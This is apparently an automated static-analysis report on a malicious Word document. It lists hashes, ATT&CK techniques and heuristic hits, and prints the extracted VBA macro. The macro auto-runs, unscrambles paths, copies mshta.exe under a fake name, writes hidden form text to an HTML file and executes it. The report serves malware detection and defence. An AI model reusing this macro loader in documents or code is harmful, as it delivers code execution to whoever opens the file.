Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 70e13847a5f8d43d…

MALICIOUS

Office (OOXML)

118.8 KB Created: 2020-04-13 10:47:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: a1ff7d7da54ba7b448c053ecb2196e52 SHA-1: 09518671e4b8eee70d67e9b1f5f9afba8f252fef SHA-256: 70e13847a5f8d43d2a7c3b06ab05f7954f0ec1a340482359fbc8afc15b0945c5
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros with an AutoOpen subroutine that calls the Shell() function, indicating an attempt to execute arbitrary code. The script also contains obfuscated strings that appear to be file paths, such as 'cg:g\gwgigngdgogwgsg\gsgygsgtgegmg3g2g\gmgsghgtgag.gegxgeg', which are likely related to payload staging or execution. The presence of these elements strongly suggests a macro-based malware delivery mechanism.

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://www.iec.chIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2605 bytes
SHA-256: 9accd769206bb246fb8493fc65d41686c5f53cf6f5af2b9367e2a2f543c747fb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "aQ19M"
Function aInqeP()
aInqeP = frm.txt.text
End Function
Public Function aHYrJg(ake97T, aqjdS3)
afFyxv = Abs(38)
' Diametrically busy
aHYrJg = aL7iCq(ake97T, aqjdS3, vbNullString)
End Function
Sub AutoOpen()
main
End Sub
Public Sub aUvdlA(a5A4z)
Shell a5A4z
Dim aEBvWg
aEBvWg = DateSerial(2020, 9, 1)
' Gentleman aromatic counted icelandic
' Nonchalant nudge
End Sub

Attribute VB_Name = "aa1oR"
Public Const aFCX9 As String = "cg:g\gwgigngdgogwgsg\gsgygsgtgegmg3g2g\gmgsghgtgag.gegxgeg"
Public Const ar7lW9 As String = "Cg:g\gugsgegrgsg\gpgugbglgigcg\gcgaglgcg.gcgogmg"
Public Const amLIo As String = "Cg:g\gugsgegrgsg\gpgugbglgigcg\gigng.ghgtgmglg"
Public Const ahR7N As String = "g"
Public Const aGmCp As String = "g"
Public Const aVQjtH As String = "g"
Public Function a2gvH(aABsnS, ahdOx)
' Cheerless galvanometer dept
aVRfmn = Fix(10)
avPyZ = Hex(48)
' Rampant cob
Dim a07TE3
a07TE3 = DateSerial(2019, 12, 14)
' Sorcery organised atrocity
aWCeM = Fix(-59)
' Shirts
Dim aapWxm
aapWxm = DateSerial(2013, 4, 9)
' Researchers chairman
Open aABsnS For Output As #1
Print #1, ahdOx
Close #1
End Function
Function aL7iCq(aZ2vFh, aYhC3, aURC0t)
aL7iCq = Replace(aZ2vFh, aYhC3, aURC0t)
End Function
Sub aDdlz(aow9x, aqIKxC)
Dim aEITA
aEITA = DateSerial(2015, 12, 11)
' Amenable amalgamated crape
' Caucasus winner ooo
' Unprecedented
acNjzH = Abs(70)
' Modes excited
a9roxQ = Abs(11)
' Effective rainbow accessed
Call VBA.FileCopy(aow9x, aqIKxC)
End Sub

Attribute VB_Name = "a3EZt"
Sub main()
ax9rLV = Fix(24)
aGs8w7 = aHYrJg(aFCX9, ahR7N)
Dim aBioe, afber8
aBioe = 5
afber8 = 5 / Cos(aBioe)
' Flower compost installations aqueous
aax7ri = aHYrJg(ar7lW9, aGmCp)
a1lIc = aHYrJg(amLIo, aVQjtH)
aDdlz aGs8w7, aax7ri
Dim aL0Zc
aL0Zc = 4 * Atn(1)
' Dilettante
Call a2gvH(a1lIc, StrReverse(aInqeP))
afpPGv = Fix(-59)
' Phi container advert cocks
Call aUvdlA(aax7ri & " " & a1lIc)
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{BB8BE6FB-DB06-4230-AB73-9FB6ED2E51BE}{2C221CA9-29D0-4215-B4D2-079388099332}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 61440 bytes
SHA-256: da7a2ae57bb9c21a50808be1ff969657feb9e034830a976f99016cf549a86d5e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).